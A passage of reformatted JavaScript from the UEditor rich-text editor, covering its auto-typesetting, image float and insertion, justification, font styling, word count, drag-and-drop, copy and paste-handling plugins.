        g && (e = t.getPreferences("autotypeset"), utils.extend(t.options.autotypeset, e), g.pasteFilter && t.addListener("beforepaste", n), t.commands.autotypeset = {
            execCommand: function () {
                t.removeListener("beforepaste", n), g.pasteFilter && t.addListener("beforepaste", n), n.call(t)
            }
        });

        function y(e, t) {
            return e && 3 != e.nodeType && (domUtils.isBr(e) || e && e.parentNode && i[e.tagName.toLowerCase()] && (!(p && p.contains(e) || e.getAttribute("pagebreak")) && (t ? !domUtils.isEmptyBlock(e) : domUtils.isEmptyBlock(e, new RegExp("[\\s" + domUtils.fillChar + "]", "g")))))
        }

        function C(e) {
            e.style.cssText || (domUtils.removeAttributes(e, ["style"]), "span" == e.tagName.toLowerCase() && domUtils.hasNoAttributes(e) && domUtils.remove(e, !0))
        }

        function n(e, t) {
            var i, n = this;
            if (t) {
                if (!g.pasteFilter) return;
                (i = n.document.createElement("div")).innerHTML = t.html
            } else i = n.document.body;
            for (var o, r, a = domUtils.getElementsByTagName(i, "*"), s = 0; o = a[s++];) if (!0 !== n.fireEvent("excludeNodeinautotype", o)) {
                if (g.clearFontSize && o.style.fontSize && (domUtils.removeStyle(o, "font-size"), C(o)), g.clearFontFamily && o.style.fontFamily && (domUtils.removeStyle(o, "font-family"), C(o)), y(o)) {
                    if (g.mergeEmptyline) for (var l = o.nextSibling, d = domUtils.isBr(o); y(l) && (l = (u = l).nextSibling, !d || l && (!l || domUtils.isBr(l)));) domUtils.remove(u);
                    if (g.removeEmptyline && domUtils.inDoc(o, i) && !v[o.parentNode.tagName.toLowerCase()]) {
                        if (domUtils.isBr(o) && (l = o.nextSibling) && !domUtils.isBr(l)) continue;
                        domUtils.remove(o);
                        continue
                    }
                }
                if (y(o, !0) && "SPAN" != o.tagName && (g.indent && (o.style.textIndent = g.indentValue), g.textAlign && (o.style.textAlign = g.textAlign)), g.removeClass && o.className && !b[o.className.toLowerCase()]) {
                    if (p && p.contains(o)) continue;
                    domUtils.removeAttributes(o, ["class"])
                }
                if (g.imageBlockLine && "img" == o.tagName.toLowerCase() && !o.getAttribute("emotion")) if (t) {
                    var c = o;
                    switch (g.imageBlockLine) {
                        case"left":
                        case"right":
                        case"none":
                            for (var u, m, f = c.parentNode; dtd.$inline[f.tagName] || "A" == f.tagName;) f = f.parentNode;
                            if ("P" == (u = f).tagName && "center" == domUtils.getStyle(u, "text-align") && !domUtils.isBody(u) && 1 == domUtils.getChildCount(u, function (e) {
                                return !domUtils.isBr(e) && !domUtils.isWhitespace(e)
                            })) if (m = u.previousSibling, l = u.nextSibling, m && l && 1 == m.nodeType && 1 == l.nodeType && m.tagName == l.tagName && domUtils.isBlockElm(m)) {
                                for (m.appendChild(u.firstChild); l.firstChild;) m.appendChild(l.firstChild);
                                domUtils.remove(u), domUtils.remove(l)
                            } else domUtils.setStyle(u, "text-align", "");
                            domUtils.setStyle(c, "float", g.imageBlockLine);
                            break;
                        case"center":
                            if ("center" != n.queryCommandValue("imagefloat")) {
                                for (f = c.parentNode, domUtils.setStyle(c, "float", "none"), u = c; f && 1 == domUtils.getChildCount(f, function (e) {
                                    return !domUtils.isBr(e) && !domUtils.isWhitespace(e)
                                }) && (dtd.$inline[f.tagName] || "A" == f.tagName);) f = (u = f).parentNode;
                                var h = n.document.createElement("p");
                                h.className = "ueditor-p", domUtils.setAttributes(h, {style: "text-align:center"}), u.parentNode.insertBefore(h, u), h.appendChild(u), domUtils.setStyle(u, "float", "")
                            }
                    }
                } else {
                    n.selection.getRange().selectNode(o).select(), n.execCommand("imagefloat", g.imageBlockLine)
                }
                g.removeEmptyNode && g.removeTagNames[o.tagName.toLowerCase()] && domUtils.hasNoAttributes(o) && domUtils.isEmptyBlock(o) && domUtils.remove(o)
            }
            g.tobdc && ((r = UE.htmlparser(i.innerHTML)).traversal(function (e) {
                "text" == e.type && (e.data = function (e) {
                    e = utils.html(e);
                    for (var t = "", i = 0; i < e.length; i++) 32 == e.charCodeAt(i) ? t += String.fromCharCode(12288) : e.charCodeAt(i) < 127 ? t += String.fromCharCode(e.charCodeAt(i) + 65248) : t += e.charAt(i);
                    return t
                }(e.data))
            }), i.innerHTML = r.toHtml());
            g.bdc2sb && ((r = UE.htmlparser(i.innerHTML)).traversal(function (e) {
                "text" == e.type && (e.data = function (e) {
                    for (var t = "", i = 0; i < e.length; i++) {
                        var n = e.charCodeAt(i);
                        t += 65281 <= n && n <= 65373 ? String.fromCharCode(e.charCodeAt(i) - 65248) : 12288 == n ? String.fromCharCode(e.charCodeAt(i) - 12288 + 32) : e.charAt(i)
                    }
                    return t
                }(e.data))
            }), i.innerHTML = r.toHtml());
            t && (t.html = i.innerHTML)
        }
    }, UE.plugin.register("autosubmit", function () {
        return {
            shortcutkey: {autosubmit: "ctrl+13"}, commands: {
                autosubmit: {
                    execCommand: function () {
                        var e = domUtils.findParentByTagName(this.iframe, "form", !1);
                        if (e) {
                            if (!1 === this.fireEvent("beforesubmit")) return;
                            this.sync(), e.submit()
                        }
                    }
                }
            }
        }
    }), UE.plugin.register("background", function () {
        var i, l = this, n = "editor_background", o = new RegExp("body[\\s]*\\{(.+)\\}", "i");

        function r(e) {
            var n = {}, t = e.split(";");
            return utils.each(t, function (e) {
                var t = e.indexOf(":"), i = utils.trim(e.substr(0, t)).toLowerCase();
                i && (n[i] = utils.trim(e.substr(t + 1) || ""))
            }), n
        }

        function a(e) {
            if (e) {
                var t = [];
                for (var i in e) e.hasOwnProperty(i) && t.push(i + ":" + e[i] + "; ");
                utils.cssRule(n, t.length ? "body{" + t.join("") + "}" : "", l.document)
            } else utils.cssRule(n, "", l.document)
        }

        var e = l.hasContents;
        return l.hasContents = function () {
            return !!l.queryCommandValue("background") || e.apply(l, arguments)
        }, {
            bindEvents: {
                getAllHtml: function (e, t) {
                    var i = this.body, n = domUtils.getComputedStyle(i, "background-image"), o = "";
                    o = 0 < n.indexOf(l.options.imagePath) ? n.substring(n.indexOf(l.options.imagePath), n.length - 1).replace(/"|\(|\)/gi, "") : "none" != n ? n.replace(/url\("?|"?\)/gi, "") : "";
                    var r = '<style type="text/css">body{', a = {
                        "background-color": domUtils.getComputedStyle(i, "background-color") || "#ffffff",
                        "background-image": o ? "url(" + o + ")" : "",
                        "background-repeat": domUtils.getComputedStyle(i, "background-repeat") || "",
                        "background-position": browser.ie ? domUtils.getComputedStyle(i, "background-position-x") + " " + domUtils.getComputedStyle(i, "background-position-y") : domUtils.getComputedStyle(i, "background-position"),
                        height: domUtils.getComputedStyle(i, "height")
                    };
                    for (var s in a) a.hasOwnProperty(s) && (r += s + ":" + a[s] + "; ");
                    r += "}</style> ", t.push(r)
                }, aftersetcontent: function () {
                    0 == i && a()
                }
            }, inputRule: function (e) {
                i = !1, utils.each(e.getNodesByTagName("p"), function (e) {
                    var t = e.getAttr("data-background");
                    t && (i = !0, a(r(t)), e.parentNode.removeChild(e))
                })
            }, outputRule: function (e) {
                var t = (utils.cssRule(n, this.document) || "").replace(/[\n\r]+/g, "").match(o);
                t && e.appendChild(UE.uNode.createElement('<p style="display:none;" data-background="' + utils.trim(t[1].replace(/"/g, "").replace(/[\s]+/g, " ")) + '"><br/></p>'))
            }, commands: {
                background: {
                    execCommand: function (e, t) {
                        a(t)
                    }, queryCommandValue: function () {
                        var e = (utils.cssRule(n, this.document) || "").replace(/[\n\r]+/g, "").match(o);
                        return e ? r(e[1]) : null
                    }, notNeedUndo: !0
                }
            }
        }
    }), UE.commands.imagefloat = {
        execCommand: function (e, t) {
            var i = this, n = i.selection.getRange();
            if (!n.collapsed) {
                var o = n.getClosedNode();
                if (o && "IMG" == o.tagName) switch (t) {
                    case"left":
                    case"right":
                    case"none":
                        for (var r, a, s, l = o.parentNode; dtd.$inline[l.tagName] || "A" == l.tagName;) l = l.parentNode;
                        if ("P" == (r = l).tagName && "center" == domUtils.getStyle(r, "text-align")) {
                            if (!domUtils.isBody(r) && 1 == domUtils.getChildCount(r, function (e) {
                                return !domUtils.isBr(e) && !domUtils.isWhitespace(e)
                            })) if (a = r.previousSibling, s = r.nextSibling, a && s && 1 == a.nodeType && 1 == s.nodeType && a.tagName == s.tagName && domUtils.isBlockElm(a)) {
                                for (a.appendChild(r.firstChild); s.firstChild;) a.appendChild(s.firstChild);
                                domUtils.remove(r), domUtils.remove(s)
                            } else domUtils.setStyle(r, "text-align", "");
                            n.selectNode(o).select()
                        }
                        domUtils.setStyle(o, "float", "none" == t ? "" : t), "none" == t && domUtils.removeAttributes(o, "align");
                        break;
                    case"center":
                        if ("center" != i.queryCommandValue("imagefloat")) {
                            for (l = o.parentNode, domUtils.setStyle(o, "float", ""), domUtils.removeAttributes(o, "align"), r = o; l && 1 == domUtils.getChildCount(l, function (e) {
                                return !domUtils.isBr(e) && !domUtils.isWhitespace(e)
                            }) && (dtd.$inline[l.tagName] || "A" == l.tagName);) l = (r = l).parentNode;
                            n.setStartBefore(r).setCursor(!1), (l = i.document.createElement("div")).appendChild(r), domUtils.setStyle(r, "float", ""), i.execCommand("insertHtml", '<p id="_img_parent_tmp" style="text-align:center">' + l.innerHTML + "</p>"), (r = i.document.getElementById("_img_parent_tmp")).removeAttribute("id"), r = r.firstChild, n.selectNode(r).select(), (s = r.parentNode.nextSibling) && domUtils.isEmptyNode(s) && domUtils.remove(s)
                        }
                }
            }
        }, queryCommandValue: function () {
            var e, t, i = this.selection.getRange();
            return !i.collapsed && (e = i.getClosedNode()) && 1 == e.nodeType && "IMG" == e.tagName ? ("none" == (t = domUtils.getComputedStyle(e, "float") || e.getAttribute("align")) && (t = "center" == domUtils.getComputedStyle(e.parentNode, "text-align") ? "center" : t), {
                left: 1,
                right: 1,
                center: 1
            }[t] ? t : "none") : "none"
        }, queryCommandState: function () {
            var e, t = this.selection.getRange();
            return !t.collapsed && (e = t.getClosedNode()) && 1 == e.nodeType && "IMG" == e.tagName ? 0 : -1
        }
    }, UE.commands.insertimage = {
        execCommand: function (e, t) {
            if ((t = utils.isArray(t) ? t : [t]).length) {
                var i = this, n = i.selection.getRange(), o = n.getClosedNode();
                if (!0 !== i.fireEvent("beforeinsertimage", t)) {
                    if (!o || !/img/i.test(o.tagName) || "edui-faked-video" == o.className && -1 == o.className.indexOf("edui-upload-video") || o.getAttribute("word_img")) {
                        var r, a = [], s = "";
                        if (r = t[0], 1 == t.length) u(r), s = '<img src="' + r.src + '" ' + (r._src ? ' _src="' + r._src + '" ' : "") + (r.width ? 'width="' + r.width + '" ' : "") + (r.height ? ' height="' + r.height + '" ' : "") + ("left" == r.floatStyle || "right" == r.floatStyle ? ' style="float:' + r.floatStyle + ';"' : "") + (r.title && "" != r.title ? ' title="' + r.title + '"' : "") + (r.border && "0" != r.border ? ' border="' + r.border + '"' : "") + (r.alt && "" != r.alt ? ' alt="' + r.alt + '"' : "") + (r.hspace && "0" != r.hspace ? ' hspace = "' + r.hspace + '"' : "") + (r.vspace && "0" != r.vspace ? ' vspace = "' + r.vspace + '"' : "") + "/>", "center" == r.floatStyle && (s = '<p style="text-align: center">' + s + "</p>"), a.push(s); else for (var l = 0; r = t[l++];) u(r), s = "<p " + ("center" == r.floatStyle ? 'style="text-align: center" ' : "") + '><img src="' + r.src + '" ' + (r.width ? 'width="' + r.width + '" ' : "") + (r._src ? ' _src="' + r._src + '" ' : "") + (r.height ? ' height="' + r.height + '" ' : "") + ' style="' + (r.floatStyle && "center" != r.floatStyle ? "float:" + r.floatStyle + ";" : "") + (r.border || "") + '" ' + (r.title ? ' title="' + r.title + '"' : "") + " /></p>", a.push(s);
                        i.execCommand("insertHtml", a.join(""))
                    } else {
                        var d = t.shift(), c = d.floatStyle;
                        delete d.floatStyle, domUtils.setAttributes(o, d), i.execCommand("imagefloat", c), 0 < t.length && (n.setStartAfter(o).setCursor(!1, !0), i.execCommand("insertimage", t))
                    }
                    i.fireEvent("afterinsertimage", t)
                }
            }

            function u(t) {
                utils.each("width,height,border,hspace,vspace".split(","), function (e) {
                    t[e] && (t[e] = parseInt(t[e], 10) || 0)
                }), utils.each("src,_src".split(","), function (e) {
                    t[e] && (t[e] = utils.unhtmlForUrl(t[e]))
                }), utils.each("title,alt".split(","), function (e) {
                    t[e] && (t[e] = utils.unhtml(t[e]))
                })
            }
        }
    }, UE.plugins.justify = function () {
        function o(e, t) {
            function i(e) {
                return 1 == e.nodeType ? "br" != e.tagName.toLowerCase() && !domUtils.isBookmarkNode(e) : !domUtils.isWhitespace(e)
            }

            var n = e.createBookmark();
            e.enlarge(!0);
            for (var o, r = e.createBookmark(), a = domUtils.getNextDomNode(r.start, !1, i), s = e.cloneRange(); a && !(domUtils.getPosition(a, r.end) & domUtils.POSITION_FOLLOWING);) if (3 != a.nodeType && u(a)) a = domUtils.getNextDomNode(a, !0, i); else {
                for (s.setStartBefore(a); a && a !== r.end && !u(a);) o = a, a = domUtils.getNextDomNode(a, !1, null, function (e) {
                    return !u(e)
                });
                s.setEndAfter(o);
                var l = s.getCommonAncestor();
                if (!domUtils.isBody(l) && u(l)) domUtils.setStyles(l, utils.isString(t) ? {"text-align": t} : t), a = l; else {
                    var d = e.document.createElement("p");
                    d.className = "ueditor-p", domUtils.setStyles(d, utils.isString(t) ? {"text-align": t} : t);
                    var c = s.extractContents();
                    d.appendChild(c), s.insertNode(d), a = d
                }
                a = domUtils.getNextDomNode(a, !1, i)
            }
            return e.moveToBookmark(r).moveToBookmark(n)
        }

        var u = domUtils.isBlockElm, i = {left: 1, right: 1, center: 1, justify: 1};
        UE.commands.justify = {
            execCommand: function (e, t) {
                var i, n = this.selection.getRange();
                return n.collapsed && (i = this.document.createTextNode("p"), n.insertNode(i)), o(n, t), i && (n.setStartBefore(i).collapse(!0), domUtils.remove(i)), n.select(), !0
            }, queryCommandValue: function () {
                var e = this.selection.getStart(), t = domUtils.getComputedStyle(e, "text-align");
                return i[t] ? t : "left"
            }, queryCommandState: function () {
                var e = this.selection.getStart();
                return e && domUtils.findParentByTagName(e, ["td", "th", "caption"], !0) ? -1 : 0
            }
        }
    }, UE.plugins.font = function () {
        var e = {
                forecolor: "color",
                backcolor: "background-color",
                fontsize: "font-size",
                fontfamily: "font-family",
                underline: "text-decoration",
                strikethrough: "text-decoration",
                fontborder: "border"
            }, d = {underline: 1, strikethrough: 1, fontborder: 1},
            a = {forecolor: "color", backcolor: "background-color", fontsize: "font-size", fontfamily: "font-family"};

        function c(e, n, o) {
            var t, i = e.collapsed, r = e.createBookmark();
            if (i) for (t = r.start.parentNode; dtd.$inline[t.tagName];) t = t.parentNode; else t = domUtils.getCommonAncestor(r.start, r.end);
            utils.each(domUtils.getElementsByTagName(t, "span"), function (e) {
                if (e.parentNode && !domUtils.isBookmarkNode(e)) if (/\s*border\s*:\s*none;?\s*/i.test(e.style.cssText)) /^\s*border\s*:\s*none;?\s*$/.test(e.style.cssText) ? domUtils.remove(e, !0) : domUtils.removeStyle(e, "border"); else {
                    if (/border/i.test(e.style.cssText) && "SPAN" == e.parentNode.tagName && /border/i.test(e.parentNode.style.cssText) && (e.style.cssText = e.style.cssText.replace(/border[^:]*:[^;]+;?/gi, "")), "fontborder" != n || "none" != o) for (var t = e.nextSibling; t && 1 == t.nodeType && "SPAN" == t.tagName;) if (domUtils.isBookmarkNode(t) && "fontborder" == n) e.appendChild(t), t = e.nextSibling; else {
                        if (t.style.cssText == e.style.cssText && (domUtils.moveChild(t, e), domUtils.remove(t)), e.nextSibling === t) break;
                        t = e.nextSibling
                    }
                    if (!function (e) {
                        for (var t; (t = e.parentNode) && "SPAN" == t.tagName && 1 == domUtils.getChildCount(t, function (e) {
                            return !domUtils.isBookmarkNode(e) && !domUtils.isBr(e)
                        });) t.style.cssText += e.style.cssText, domUtils.remove(e, !0), e = t
                    }(e), browser.ie && 8 < browser.version) {
                        var i = domUtils.findParent(e, function (e) {
                            return "SPAN" == e.tagName && /background-color/.test(e.style.cssText)
                        });
                        i && !/background-color/.test(e.style.cssText) && (e.style.backgroundColor = i.style.backgroundColor)
                    }
                }
            }), e.moveToBookmark(r), function (e, t, i) {
                if (a[t] && (e.adjustmentBoundary(), !e.collapsed && 1 == e.startContainer.nodeType)) {
                    var n = e.startContainer.childNodes[e.startOffset];
                    if (n && domUtils.isTagNode(n, "span")) {
                        var o = e.createBookmark();
                        utils.each(domUtils.getElementsByTagName(n, "span"), function (e) {
                            e.parentNode && !domUtils.isBookmarkNode(e) && ("backcolor" == t && domUtils.getComputedStyle(e, "background-color").toLowerCase() === i || (domUtils.removeStyle(e, a[t]), 0 == e.style.cssText.replace(/^\s+$/, "").length && domUtils.remove(e, !0)))
                        }), e.moveToBookmark(o)
                    }
                }
            }(e, n, o)
        }

        for (var t in this.setOpt({
            fontfamily: [{name: "songti", val: "宋体,SimSun"}, {
                name: "yahei",
                val: "微软雅黑,Microsoft YaHei"
            }, {name: "kaiti", val: "楷体,楷体_GB2312, SimKai"}, {name: "heiti", val: "黑体, SimHei"}, {
                name: "lishu",
                val: "隶书, SimLi"
            }, {name: "andaleMono", val: "andale mono"}, {
                name: "arial",
                val: "arial, helvetica,sans-serif"
            }, {name: "arialBlack", val: "arial black,avant garde"}, {
                name: "comicSansMs",
                val: "comic sans ms"
            }, {name: "impact", val: "impact,chicago"}, {name: "timesNewRoman", val: "times new roman"}],
            fontsize: [10, 11, 12, 14, 16, 18, 20, 24, 36]
        }), this.addInputRule(function (e) {
            utils.each(e.getNodesByTagName("u s del font strike"), function (e) {
                if ("font" == e.tagName) {
                    var t = [];
                    for (var i in e.attrs) switch (i) {
                        case"size":
                            t.push("font-size:" + ({
                                1: "10",
                                2: "12",
                                3: "16",
                                4: "18",
                                5: "24",
                                6: "32",
                                7: "48"
                            }[e.attrs[i]] || e.attrs[i]) + "px");
                            break;
                        case"color":
                            t.push("color:" + e.attrs[i]);
                            break;
                        case"face":
                            t.push("font-family:" + e.attrs[i]);
                            break;
                        case"style":
                            t.push(e.attrs[i])
                    }
                    e.attrs = {style: t.join(";")}
                } else {
                    var n = "u" == e.tagName ? "underline" : "line-through";
                    e.attrs = {style: (e.getAttr("style") || "") + "text-decoration:" + n + ";"}
                }
                e.tagName = "span"
            })
        }), e) !function (s, l) {
            UE.commands[s] = {
                execCommand: function (e, t) {
                    t = t || (this.queryCommandState(e) ? "none" : "underline" == e ? "underline" : "fontborder" == e ? "1px solid #000" : "line-through");
                    var i, n = this, o = this.selection.getRange();
                    if ("default" == t) o.collapsed && (i = n.document.createTextNode("font"), o.insertNode(i).select()), n.execCommand("removeFormat", "span,a", l), i && (o.setStartBefore(i).collapse(!0), domUtils.remove(i)), c(o, e, t), o.select(); else if (o.collapsed) {
                        var r = domUtils.findParentByTagName(o.startContainer, "span", !0);
                        if (i = n.document.createTextNode("font"), !r || r.children.length || r[browser.ie ? "innerText" : "textContent"].replace(fillCharReg, "").length) {
                            if (o.insertNode(i), o.selectNode(i).select(), r = o.document.createElement("span"), d[s]) {
                                if (domUtils.findParentByTagName(i, "a", !0)) return o.setStartBefore(i).setCursor(), void domUtils.remove(i);
                                n.execCommand("removeFormat", "span,a", l)
                            }
                            if (r.style.cssText = l + ":" + t, i.parentNode.insertBefore(r, i), !browser.ie || browser.ie && 9 == browser.version) for (var a = r.parentNode; !domUtils.isBlockElm(a);) "SPAN" == a.tagName && (r.style.cssText = a.style.cssText + ";" + r.style.cssText), a = a.parentNode;
                            opera ? setTimeout(function () {
                                o.setStart(r, 0).collapse(!0), c(o, e, t), o.select()
                            }) : (o.setStart(r, 0).collapse(!0), c(o, e, t), o.select())
                        } else o.insertNode(i), d[s] && (o.selectNode(i).select(), n.execCommand("removeFormat", "span,a", l, null), r = domUtils.findParentByTagName(i, "span", !0), o.setStartBefore(i)), r && (r.style.cssText += ";" + l + ":" + t), o.collapse(!0).select();
                        domUtils.remove(i)
                    } else d[s] && n.queryCommandValue(s) && n.execCommand("removeFormat", "span,a", l), (o = n.selection.getRange()).applyInlineStyle("span", {style: l + ":" + t}), c(o, e, t), o.select();
                    return !0
                }, queryCommandValue: function (e) {
                    var t = this.selection.getStart();
                    if ("underline" == e || "strikethrough" == e) {
                        for (var i, n = t; n && !domUtils.isBlockElm(n) && !domUtils.isBody(n);) {
                            if (1 == n.nodeType && "none" != (i = domUtils.getComputedStyle(n, l))) return i;
                            n = n.parentNode
                        }
                        return "none"
                    }
                    if ("fontborder" == e) {
                        for (var o, r = t; r && dtd.$inline[r.tagName];) {
                            if ((o = domUtils.getComputedStyle(r, "border")) && /1px/.test(o) && /solid/.test(o)) return o;
                            r = r.parentNode
                        }
                        return ""
                    }
                    if ("FontSize" != e) return domUtils.getComputedStyle(t, l);
                    var a = domUtils.getComputedStyle(t, l);
                    return (r = /^([\d\.]+)(\w+)$/.exec(a)) ? Math.floor(r[1]) + r[2] : a
                }, queryCommandState: function (e) {
                    if (!d[e]) return 0;
                    var t = this.queryCommandValue(e);
                    return "fontborder" == e ? /1px/.test(t) && /solid/.test(t) : "underline" == e ? /underline/.test(t) : /line\-through/.test(t)
                }
            }
        }(t, e[t])
    }, UE.plugins.gapfilling = function () {
        var r = this;
        r.commands.gapfilling = {
            execCommand: function (e) {
                var t = domUtils.getElementsByTagName(r.document, "span", "gapfilling-span"), i = generateUUID(),
                    n = t.length + 1, o = "gapfilling-span " + i;
                return r.execCommand("inserthtml", '<span class="' + o + '">' + n + "</span>", !0), !0
            }
        }, r.addListener("delkeydown", function (e, t) {
            var i = this.selection.getRange();
            if (i.txtToElmBoundary(!0), domUtils.isStartInblock(i)) {
                var n = i.startContainer.previousSibling;
                if (n && domUtils.isTagNode(n, "span")) return domUtils.remove(n), i.select(), domUtils.preventDefault(t), !0
            }
        })
    }, UE.commands.custombtn = {
        execCommand: function (e) {
            UE.promptAlert(this)
        }
    }, UE.commands.complexformulas = {
        execCommand: function (e) {
            UE.showFormulaDialogue(this)
        }
    }, UE.plugins.wordcount = function () {
        var i, e = this;
        e.setOpt("wordCount", !0), e.addListener("contentchange", function () {
            e.fireEvent("wordcount")
        }), e.addListener("ready", function () {
            var t = this;
            domUtils.on(t.body, "keyup", function (e) {
                (e.keyCode || e.which) in {
                    16: 1,
                    18: 1,
                    20: 1,
                    37: 1,
                    38: 1,
                    39: 1,
                    40: 1
                } || (clearTimeout(i), i = setTimeout(function () {
                    t.fireEvent("wordcount")
                }, 200))
            })
        })
    }, UE.plugins.dragdrop = function () {
        var o = this;
        o.ready(function () {
            domUtils.on(this.body, "dragend", function () {
                var e = o.selection.getRange(), t = e.getClosedNode() || o.selection.getStart();
                if (t && "IMG" == t.tagName) {
                    for (var i, n = t.previousSibling; (i = t.nextSibling) && 1 == i.nodeType && "SPAN" == i.tagName && !i.firstChild;) domUtils.remove(i);
                    (!n || 1 != n.nodeType || domUtils.isEmptyBlock(n)) && n || i && (!i || domUtils.isEmptyBlock(i)) || (n && "P" == n.tagName && !domUtils.isEmptyBlock(n) ? (n.appendChild(t), domUtils.moveChild(i, n), domUtils.remove(i)) : i && "P" == i.tagName && !domUtils.isEmptyBlock(i) && i.insertBefore(t, i.firstChild), n && "P" == n.tagName && domUtils.isEmptyBlock(n) && domUtils.remove(n), i && "P" == i.tagName && domUtils.isEmptyBlock(i) && domUtils.remove(i), e.selectNode(t).select(), o.fireEvent("saveScene"))
                }
            })
        }), o.addListener("keyup", function (e, t) {
            if (13 == (t.keyCode || t.which)) {
                var i, n = o.selection.getRange();
                (i = domUtils.findParentByTagName(n.startContainer, "p", !0)) && "center" == domUtils.getComputedStyle(i, "text-align") && domUtils.removeStyle(i, "text-align")
            }
        })
    }, UE.plugin.register("copy", function () {
        var o = this;

        function e() {
            ZeroClipboard.config({
                debug: !1,
                swfPath: o.options.UEDITOR_HOME_URL + "third-party/zeroclipboard/ZeroClipboard.swf"
            });
            var e = o.zeroclipboard = new ZeroClipboard;
            e.on("copy", function (e) {
                var t = e.client, i = o.selection.getRange(), n = document.createElement("div");
                n.appendChild(i.cloneContents()), t.setText(n.innerText || n.textContent), t.setHtml(n.innerHTML), i.select()
            }), e.on("mouseover mouseout", function (e) {
                var t = e.target;
                "mouseover" == e.type ? domUtils.addClass(t, "edui-state-hover") : "mouseout" == e.type && domUtils.removeClasses(t, "edui-state-hover")
            }), e.on("wrongflash noflash", function () {
                ZeroClipboard.destroy()
            })
        }

        return {
            bindEvents: {
                ready: function () {
                    browser.ie || (window.ZeroClipboard ? e() : utils.loadFile(document, {
                        src: o.options.UEDITOR_HOME_URL + "third-party/zeroclipboard/ZeroClipboard.js",
                        tag: "script",
                        type: "text/javascript",
                        defer: "defer"
                    }, function () {
                        e()
                    }))
                }
            }, commands: {
                copy: {
                    execCommand: function (e) {
                        o.document.execCommand("copy") || alert(o.getLang("copymsg"))
                    }
                }
            }
        }
    }), UE.plugins.paste = function () {
        function t(n) {
            var o = this.document;
            if (!o.getElementById("baidu_pastebin")) {
                var r = this.selection.getRange(), a = r.createBookmark(), s = o.createElement("div");
                s.id = "baidu_pastebin", browser.webkit && s.appendChild(o.createTextNode(domUtils.fillChar + domUtils.fillChar)), o.body.appendChild(s), a.start.style.display = "", s.style.cssText = "position:absolute;width:1px;height:1px;overflow:hidden;left:-1000px;white-space:nowrap;top:" + domUtils.getXY(a.start).y + "px", r.selectNodeContents(s).select(!0), setTimeout(function () {
                    if (browser.webkit) for (var e, t = 0, i = o.querySelectorAll("#baidu_pastebin"); e = i[t++];) {
                        if (!domUtils.isEmptyNode(e)) {
                            s = e;
                            break
                        }
                        domUtils.remove(e)
                    }
                    try {
                        s.parentNode.removeChild(s)
                    } catch (e) {
                    }
                    r.moveToBookmark(a).select(!0), n(s)
                }, 0)
            }
        }

        var b, v, y, C = this;

        function x(e) {
            return e.replace(/<(\/?)([\w\-]+)([^>]*)>/gi, function (e, t, i, n) {
                return {img: 1}[i = i.toLowerCase()] ? e : (n = n.replace(/([\w\-]*?)\s*=\s*(("([^"]*)")|('([^']*)')|([^\s>]+))/gi, function (e, t, i) {
                    return {src: 1, href: 1, name: 1}[t.toLowerCase()] ? t + "=" + i + " " : ""
                }), {span: 1, div: 1}[i] ? "" : "<" + t + i + " " + utils.trim(n) + ">")
            })
        }

        function i(e) {
            var t;
            if (e.firstChild) {
                for (var i, n = domUtils.getElementsByTagName(e, "span"), o = 0; i = n[o++];) "_baidu_cut_start" != i.id && "_baidu_cut_end" != i.id || domUtils.remove(i);
                if (browser.webkit) {
                    var r, a = e.querySelectorAll("div br");
                    for (o = 0; r = a[o++];) {
                        var s = r.parentNode;
                        "DIV" == s.tagName && 1 == s.childNodes.length && (s.innerHTML = '<p class="ueditor-p"><br/></p>', domUtils.remove(s))
                    }
                    var l, d = e.querySelectorAll("#baidu_pastebin");
                    for (o = 0; l = d[o++];) {
                        var c = C.document.createElement("p");
                        for (c.className = "ueditor-p", l.parentNode.insertBefore(c, l); l.firstChild;) c.appendChild(l.firstChild);
                        domUtils.remove(l)
                    }
                    var u = e.querySelectorAll("meta");
                    for (o = 0; f = u[o++];) domUtils.remove(f);
                    a = e.querySelectorAll("br");
                    for (o = 0; f = a[o++];) /^apple-/i.test(f.className) && domUtils.remove(f)
                }
                if (browser.gecko) {
                    var m = e.querySelectorAll("[_moz_dirty]");
                    for (o = 0; f = m[o++];) f.removeAttribute("_moz_dirty")
                }
                if (!browser.ie) {
                    var f, h = e.querySelectorAll("span.Apple-style-span");
                    for (o = 0; f = h[o++];) domUtils.remove(f, !0)
                }
                t = e.innerHTML, t = UE.filterWord(t);
                var p = UE.htmlparser(t);
                if (C.options.filterRules && UE.filterNode(p, C.options.filterRules), C.filterInputRule(p), browser.webkit) {
                    var g = p.lastChild();
                    g && "element" == g.type && "br" == g.tagName && p.removeChild(g), utils.each(C.body.querySelectorAll("div"), function (e) {
                        domUtils.isEmptyBlock(e) && domUtils.remove(e, !0)
                    })
                }
                if (t = {html: p.toHtml()}, C.fireEvent("beforepaste", t, p), !t.html) return;
                p = UE.htmlparser(t.html, !0), 1 === C.queryCommandState("pasteplain") ? C.execCommand("insertHtml", UE.filterNode(p, C.options.filterTxtRules).toHtml(), !0) : (UE.filterNode(p, C.options.filterTxtRules), b = p.toHtml(), v = t.html, y = C.selection.getRange().createAddress(!0), C.execCommand("insertHtml", !0 === C.getOpt("retainOnlyLabelPasted") ? x(v) : v, !0)), C.fireEvent("afterpaste", t)
            }
        }

        C.setOpt({retainOnlyLabelPasted: !1}), C.addListener("pasteTransfer", function (e, t) {
            if (y && b && v && b != v) {
                var i = C.selection.getRange();
                if (i.moveToAddress(y, !0), !i.collapsed) {
                    for (; !domUtils.isBody(i.startContainer);) {
                        var n = i.startContainer;
                        if (1 == n.nodeType) {
                            if (!(n = n.childNodes[i.startOffset])) {
                                i.setStartBefore(i.startContainer);
                                continue
                            }
                            var o = n.previousSibling;
                            o && 3 == o.nodeType && new RegExp("^[\n\r\t " + domUtils.fillChar + "]*$").test(o.nodeValue) && i.setStartBefore(o)
                        }
                        if (0 != i.startOffset) break;
                        i.setStartBefore(i.startContainer)
                    }
                    for (; !domUtils.isBody(i.endContainer);) {
                        var r = i.endContainer;
                        if (1 == r.nodeType) {
                            if (!(r = r.childNodes[i.endOffset])) {
                                i.setEndAfter(i.endContainer);
                                continue
                            }
                            var a = r.nextSibling;
                            a && 3 == a.nodeType && new RegExp("^[\n\r\t" + domUtils.fillChar + "]*$").test(a.nodeValue) && i.setEndAfter(a)
                        }
                        if (i.endOffset != i.endContainer[3 == i.endContainer.nodeType ? "nodeValue" : "childNodes"].length) break;
                        i.setEndAfter(i.endContainer)
                    }
                }
                i.deleteContents(), i.select(!0), C.__hasEnterExecCommand = !0;
                var s = v;
                2 === t ? s = x(s) : t && (s = b), C.execCommand("inserthtml", s, !0), C.__hasEnterExecCommand = !1;
